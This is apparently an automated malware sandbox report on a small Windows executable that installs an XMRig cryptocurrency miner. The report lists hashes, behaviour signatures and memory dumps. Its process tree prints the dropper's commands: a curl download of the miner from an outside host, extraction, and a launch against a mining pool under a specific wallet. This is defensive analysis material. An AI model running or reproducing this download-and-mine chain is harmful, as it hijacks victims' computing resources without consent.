Resubmissions

13/03/2024, 08:45

240313-knsznahb2w 10

13/03/2024, 08:44

240313-knhtpaah68 10

13/03/2024, 08:44

240313-km8cysha9v 10

13/03/2024, 08:43

240313-kms82aah48 10

12/03/2024, 18:00

240312-wlevsshe86 10

12/03/2024, 17:57

240312-wjxylahe48 10

12/03/2024, 17:55

240312-whm21afc7t 10

12/03/2024, 17:54

240312-wg7p1sfc5y 10

12/03/2024, 17:53

240312-wgg5csfc3y 10

12/03/2024, 17:52

240312-wf31fahd58 10

Analysis

  • max time kernel
    1043s
  • max time network
    1053s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/03/2024, 08:44

General

  • Target

    test - Copy - Copy.exe

  • Size

    6KB

  • MD5

    4634098fe194204dc03f967cc0b19cd6

  • SHA1

    eaa58619c6cea9f148cec61ee504cd727b3e80d8

  • SHA256

    a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c

  • SHA512

    64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d

  • SSDEEP

    96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 63 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy.exe
    "C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4612
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\KVlnZ99O.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2332
      • C:\Windows\system32\curl.exe
        curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
        3⤵
          PID:4084
        • C:\Windows\system32\tar.exe
          tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
          3⤵
            PID:1704
          • C:\xmrig\xmrig-6.21.1\xmrig.exe
            C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
            3⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:4624

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\KVlnZ99O.bat

        Filesize

        421B

        MD5

        67d11b392feb0ad59fc11ff3e79dfeee

        SHA1

        7df5785988cb76c4893773614572c93baaa18717

        SHA256

        69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

        SHA512

        50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

      • C:\xmrig\xmrig-6.21.1-gcc-win64.zip

        Filesize

        2.3MB

        MD5

        84d2b260d785c160964242462297896e

        SHA1

        f46bdf98b5f95a423c0370291bd97d1336f224ef

        SHA256

        e7e8758e3537dbb114c54307fbc82de4fed7ee1e1d970cbd0c5f5859e34b7319

        SHA512

        5cfaa18c3fabf95007a81b1e2f3d76ab3f21a25b132db70978c88c7996fe2aa643d5f0bebc69a343ed3217daafa03d26e453b32ddc1ecf3e59ceb98ec7560c28

      • C:\xmrig\xmrig-6.21.1\xmrig.exe

        Filesize

        1.7MB

        MD5

        0c5db70c7136ac3554f1068046dba6a9

        SHA1

        0731c291531882a48f3ad2b7538342fe5ca6fbd3

        SHA256

        3b1aa47380539d369f1884519c10aeb8557d44cdd7d7720d32e14ee4f70a9e8c

        SHA512

        eea5284afba2d52c4f7bacc8c06c8e2c595ad0fcfbfe9f58d1034dcc97034ea56039b5a44f8234544a832b35365a1fd1494c9d2c6796f99da04552a2be498a80

      • memory/4612-0-0x00000000008C0000-0x00000000008C8000-memory.dmp

        Filesize

        32KB

      • memory/4612-5-0x00007FFDB6630000-0x00007FFDB70F1000-memory.dmp

        Filesize

        10.8MB

      • memory/4612-7-0x00007FFDB6630000-0x00007FFDB70F1000-memory.dmp

        Filesize

        10.8MB

      • memory/4612-23-0x00007FFDB6630000-0x00007FFDB70F1000-memory.dmp

        Filesize

        10.8MB

      • memory/4624-24-0x0000026C39D70000-0x0000026C39D90000-memory.dmp

        Filesize

        128KB

      • memory/4624-25-0x0000026C39DC0000-0x0000026C39DE0000-memory.dmp

        Filesize

        128KB

      • memory/4624-26-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-27-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-28-0x0000026C3A070000-0x0000026C3A090000-memory.dmp

        Filesize

        128KB

      • memory/4624-29-0x0000026C3B7B0000-0x0000026C3B7D0000-memory.dmp

        Filesize

        128KB

      • memory/4624-30-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-31-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-32-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-33-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-35-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-36-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-37-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-38-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-39-0x0000026C3A070000-0x0000026C3A090000-memory.dmp

        Filesize

        128KB

      • memory/4624-40-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-42-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-43-0x0000026C3B7B0000-0x0000026C3B7D0000-memory.dmp

        Filesize

        128KB

      • memory/4624-44-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-45-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-46-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-47-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-48-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-49-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-50-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-51-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-52-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-53-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-54-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-55-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-56-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-57-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-58-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-59-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-60-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-61-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-62-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-63-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-64-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-65-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-66-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-67-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-68-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-69-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-70-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-71-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-72-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-73-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-74-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-75-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-76-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-77-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-78-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-79-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-80-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-81-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-82-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-83-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-84-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-85-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-86-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-87-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-88-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-89-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-90-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-91-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB

      • memory/4624-92-0x00007FF66CB90000-0x00007FF66D694000-memory.dmp

        Filesize

        11.0MB